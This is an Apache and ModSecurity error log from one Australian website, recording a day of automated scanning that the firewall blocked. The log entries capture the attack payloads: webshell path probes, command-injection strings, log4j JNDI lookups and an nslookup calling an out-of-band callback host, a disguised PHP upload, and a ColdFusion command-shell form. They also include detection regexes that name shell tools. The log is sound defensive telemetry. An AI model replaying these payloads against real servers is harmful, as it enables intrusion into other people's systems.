[Mon Nov 24 01:22:54.315955 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.121:55207] [client 212.30.33.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSNC7uSmps4S2j95D5h49QAAAAk"]
[Mon Nov 24 01:22:57.307049 2025] [:error] [pid 1452:tid 1479] [client 212.30.33.120:32211] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 01:22:57.794750 2025] [:error] [pid 1452:tid 1464] [client 212.30.33.120:32211] File does not exist: /usr/local/apache/htdocs/suspended-page/sym.php
[Mon Nov 24 01:22:59.512897 2025] [:error] [pid 1452:tid 1462] [client 212.30.33.120:32211] [client 212.30.33.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aSNC8xKZkEEyVNVXr_nFAgAAAEU"]
[Mon Nov 24 01:23:14.113142 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.167:26359] File does not exist: /usr/local/apache/htdocs/suspended-page/sk.php
[Mon Nov 24 01:23:15.211649 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.167:26359] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/blurbs.php
[Mon Nov 24 01:23:16.492919 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.167:26359] [client 212.30.33.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aSNDBII2fvripjU0Eat7YwAAAUQ"]
[Mon Nov 24 01:23:23.636860 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.208:38047] [client 212.30.33.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aSNDC4I2fvripjU0Eat7dgAAAUQ"]
[Mon Nov 24 01:23:26.973564 2025] [:error] [pid 1453:tid 1501] [client 212.30.33.158:43205] File does not exist: /usr/local/apache/htdocs/suspended-page/sys.php
[Mon Nov 24 01:23:29.193837 2025] [:error] [pid 1453:tid 1484] [client 212.30.33.158:43205] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Mon Nov 24 01:23:29.794741 2025] [:error] [pid 1453:tid 1498] [client 212.30.33.158:43205] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Mon Nov 24 01:23:31.177175 2025] [:error] [pid 1453:tid 1498] [client 212.30.33.158:43205] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Mon Nov 24 01:23:32.769319 2025] [:error] [pid 1453:tid 1489] [client 212.30.33.158:43205] [client 212.30.33.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aSNDFBUBCt7LU0bO_GBNjgAAAIU"]
[Mon Nov 24 01:23:35.783226 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.129:28807] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/doc.php
[Mon Nov 24 01:23:36.221986 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.129:28807] File does not exist: /usr/local/apache/htdocs/suspended-page/fm1.php
[Mon Nov 24 01:23:38.572765 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.129:28807] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-settings.php
[Mon Nov 24 01:23:39.086388 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.129:28807] [client 212.30.33.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSNDG-Smps4S2j95D5h5QQAAAAQ"]
[Mon Nov 24 01:23:40.304106 2025] [:error] [pid 1452:tid 1457] [client 212.30.33.167:57543] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Mon Nov 24 01:23:40.792975 2025] [:error] [pid 1452:tid 1473] [client 212.30.33.167:57543] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Mon Nov 24 01:23:42.204710 2025] [:error] [pid 1452:tid 1470] [client 212.30.33.167:57543] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Mon Nov 24 01:23:43.337602 2025] [:error] [pid 1452:tid 1467] [client 212.30.33.167:57543] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi01.php
[Mon Nov 24 01:23:44.895645 2025] [:error] [pid 1452:tid 1480] [client 212.30.33.167:57543] [client 212.30.33.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aSNDIBKZkEEyVNVXr_nFLwAAAFc"]
[Mon Nov 24 01:23:51.020343 2025] [:error] [pid 1453:tid 1489] [client 212.30.33.110:40591] [client 212.30.33.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.110, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSNDJxUBCt7LU0bO_GBNqgAAAIU"]
[Mon Nov 24 01:23:51.676207 2025] [:error] [pid 1453:tid 1491] [client 212.30.33.110:40591] [client 212.30.33.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.110, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSNDJxUBCt7LU0bO_GBNrgAAAIc"]
[Mon Nov 24 01:23:52.146161 2025] [:error] [pid 1453:tid 1505] [client 212.30.33.110:40591] [client 212.30.33.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aSNDKBUBCt7LU0bO_GBNrwAAAJQ"]
[Mon Nov 24 01:23:54.763989 2025] [:error] [pid 1453:tid 1495] [client 212.30.33.119:47515] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Mon Nov 24 01:24:00.332282 2025] [:error] [pid 1453:tid 1486] [client 212.30.33.119:47515] [client 212.30.33.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSNDMBUBCt7LU0bO_GBNywAAAII"]
[Mon Nov 24 01:24:18.291479 2025] [autoindex:error] [pid 1454:tid 1527] [client 212.30.33.120:20155] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 01:45:30.186371 2025] [:error] [pid 1589:tid 1615] [client 144.48.39.86:49550] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: ||(echo found within ARGS:transport: ||(echo [s] id echo [e])# "] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/modules/thumb/thumb.php"] [unique_id "aSNIOoI2fvripjU0EauDDQAAAVg"]
[Mon Nov 24 01:45:39.178299 2025] [:error] [pid 1453:tid 1489] [client 144.48.39.86:48306] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||windfarmcoolants.com.au|F|2"] [data "Matched Data: cmd/c found within ARGS:jsondata[ip]: cmd/c ipconfig"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/php/ping.php"] [unique_id "aSNIQxUBCt7LU0bO_GBTogAAAIU"]
[Mon Nov 24 04:26:04.531260 2025] [:error] [pid 12999:tid 13017] [client 51.81.107.180:56112] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Mon Nov 24 04:29:16.452814 2025] [:error] [pid 12912:tid 12982] [client 185.102.115.93:49148] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php
[Mon Nov 24 05:21:37.190883 2025] [:error] [pid 12999:tid 13020] [client 144.48.39.84:37872] File does not exist: /usr/local/apache/htdocs/suspended-page/spip.php
[Mon Nov 24 06:38:36.451653 2025] [:error] [pid 12910:tid 12932] [client 144.48.39.84:49284] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: `ls found within ARGS:payload: `ls>../35ddyil6x91o6ldlat7tl72135k`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/downloadFlile.cgi"] [unique_id "aSOM7GkWgvzAF2Nei2WFVwAAABE"]
[Mon Nov 24 06:38:37.443462 2025] [:error] [pid 12911:tid 12966] [client 144.48.39.84:49290] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSOM7UDMbk9464jnIl7-NwAAAFg"]
[Mon Nov 24 06:38:50.217487 2025] [:error] [pid 12911:tid 12966] [client 144.48.39.86:37006] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSOM-kDMbk9464jnIl7-WQAAAFg"], referer: ${jndi:ldap://${:-155}${:-527}.${hostName}.referer.d4e0balnduab18qcgofgtcd3kk9gao8cp.oast.site}
[Mon Nov 24 06:54:24.734566 2025] [:error] [pid 12910:tid 12935] [client 144.48.39.86:53408] [client 144.48.39.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/inc/jquery/uploadify/uploadify.php"] [unique_id "aSOQoGkWgvzAF2Nei2WM2gAAABQ"]
[Mon Nov 24 06:54:24.736725 2025] [:error] [pid 12910:tid 12935] [client 144.48.39.86:53408] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). String match "uploadify/uploadify.php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6748"] [id "244050"] [rev "2"] [msg "COMODO WAF: Possible arbitrary file upload using Uploadify||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/inc/jquery/uploadify/uploadify.php"] [unique_id "aSOQoGkWgvzAF2Nei2WM2gAAABQ"]
[Mon Nov 24 07:06:50.632267 2025] [:error] [pid 12999:tid 13009] [client 144.48.39.86:47648] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 24 07:06:54.194824 2025] [:error] [pid 12910:tid 12932] [client 144.48.39.84:53952] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /v1/api"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/v1/api"] [unique_id "aSOTjmkWgvzAF2Nei2WRZwAAABE"]
[Mon Nov 24 07:06:55.277799 2025] [:error] [pid 12911:tid 12947] [client 144.48.39.84:54048] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=application/soap+xml"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/WSStatusEvents/EventHandler.asmx"] [unique_id "aSOTj0DMbk9464jnIl4J4QAAAEU"]
[Mon Nov 24 07:06:55.279148 2025] [:error] [pid 12910:tid 12926] [client 144.48.39.84:54034] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||windfarmcoolants.com.au|F|4"] [data "REQUEST_URI=/?n=%0A&cmd=nslookup+d4e0balnduab18qcgofg4rhtzry4uh93m.oast.site&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSOTj2kWgvzAF2Nei2WRagAAAAs"]
[Mon Nov 24 07:27:18.675828 2025] [:error] [pid 53508:tid 53527] [client 144.48.39.86:57924] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?PHPRC=/dev/fd/0"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSOYVm639qxbKCcL09z1bAAAARE"]
[Mon Nov 24 07:27:19.194179 2025] [:error] [pid 12999:tid 13019] [client 144.48.39.86:57930] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /loadfile.lp?pageid=Configure"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/loadfile.lp"] [unique_id "aSOYV1tj_teEYJ8vu7FBHAAAANA"]
[Mon Nov 24 07:59:52.666220 2025] [:error] [pid 12912:tid 12984] [client 144.48.39.84:44542] [client 144.48.39.84] ModSecurity: Multipart parsing error: Multipart: Invalid Content-Disposition header (-12): form-data; name="pigphoto"; filename="sas6P".php". [hostname "www.windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSOf-JMj_Lgt36UonYLyOQAAAI8"]
[Mon Nov 24 07:59:52.666825 2025] [:error] [pid 12912:tid 12984] [client 144.48.39.84:44542] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Invalid Content-Disposition header (-12): form-data; name=\\x22pigphoto\\x22; filename=\\x22sas6P\\x22.php\\x22."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSOf-JMj_Lgt36UonYLyOQAAAI8"]
[Mon Nov 24 07:59:52.666890 2025] [:error] [pid 12912:tid 12984] [client 144.48.39.84:44542] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 1, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSOf-JMj_Lgt36UonYLyOQAAAI8"]
[Mon Nov 24 08:21:41.193423 2025] [:error] [pid 49900:tid 49904] [client 144.48.39.86:53678] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\bcf(?:_(?:setdatasource(?:password|username)|(?:getdatasourceusernam|iscoldfusiondatasourc)e)|admin_registry_(?:delete|set)|execute|internaldebug|newinternal(?:adminsecurit|registr)y|usion_(?:d(?:bconnections_flush|ecrypt)|encrypt|getodbc(?:dsn|ini)| ..." at ARGS:imgSrc. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "14"] [id "211020"] [rev "1"] [msg "COMODO WAF: Injection of Undocumented ColdFusion Tags||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: cfexecute found within ARGS:imgSrc: \\x0d\\x0a<cfoutput>\\x0d\\x0a\\x0d\\x0a<table>\\x0d\\x0a<form method=\\x22post\\x22 action=\\x22\\x22>\\x0d\\x0a<tr><td>command:</td><td><input type=test name=\\x22cmd\\x22 size=50\\x0d\\x0a<cfif isdefined(\\x22form.cmd\\x22)>value=\\x22#form.cmd#\\x22</cfif>><br></td></tr>\\x0d\\x0a<tr><td>options:</td><td> <input type=text name=\\x22opts\\x22 size=50\\x0d\\x0a<cfif isdefined(\\x22form.opts\\x22)>value=\\x22#form.opts#\\x22</cfif>><br></td></tr>\\x0d\\x0a<tr><td>t [hostname "www.windfarmcoolants.com.au"] [uri "/lucee/admin/imgProcess.cfm"] [unique_id "aSOlFTCyPLrvg06aorlmdwAAAAI"]
[Mon Nov 24 08:23:54.681681 2025] [:error] [pid 48688:tid 48701] [client 103.65.237.124:59015] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "aSOlmhm2q1FkzLam7A0XewAAAkk"]
[Mon Nov 24 09:33:55.200166 2025] [:error] [pid 49900:tid 49916] [client 144.48.39.84:47298] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/OA_HTML/BneViewerXMLService"] [unique_id "aSO2AzCyPLrvg06aormb_gAAAA4"]
[Mon Nov 24 14:39:51.698347 2025] [:error] [pid 49900:tid 49923] [client 85.237.194.100:44169] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Mon Nov 24 14:39:53.072699 2025] [:error] [pid 49900:tid 49913] [client 85.237.194.100:44169] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Nov 24 14:39:53.689373 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.100:44169] [client 85.237.194.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSP9uTCyPLrvg06aornrGwAAAAg"]
[Mon Nov 24 14:39:55.079931 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.106:44485] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Mon Nov 24 14:39:55.767448 2025] [:error] [pid 16441:tid 16468] [client 85.237.194.106:44485] [client 85.237.194.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSP9u4q_bc5MOa9Hfln99gAAAJg"]
[Mon Nov 24 14:39:57.081944 2025] [:error] [pid 48688:tid 48714] [client 181.215.65.71:62571] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Mon Nov 24 14:39:58.415089 2025] [:error] [pid 48688:tid 48708] [client 181.215.65.71:62571] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 24 14:40:00.313380 2025] [:error] [pid 48688:tid 48696] [client 181.215.65.71:62571] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 14:40:00.991736 2025] [:error] [pid 48688:tid 48695] [client 181.215.65.71:62571] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Mon Nov 24 14:40:03.608873 2025] [:error] [pid 48688:tid 48705] [client 181.215.65.71:62571] [client 181.215.65.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSP9wxm2q1FkzLam7A2AaAAAAk0"]
[Mon Nov 24 14:40:05.004176 2025] [:error] [pid 16593:tid 16601] [client 85.237.194.104:38913] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Nov 24 14:40:05.674102 2025] [:error] [pid 16593:tid 16598] [client 85.237.194.104:38913] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Mon Nov 24 14:40:06.624487 2025] [:error] [pid 16593:tid 16602] [client 85.237.194.104:38913] [client 85.237.194.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSP9xhVGznHBJI2LKpQktQAAAoc"]
[Mon Nov 24 14:40:08.088228 2025] [:error] [pid 48599:tid 48606] [client 85.237.194.122:50583] [client 85.237.194.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSP9yJzvu6PDJiRKE3IJMgAAAYM"]
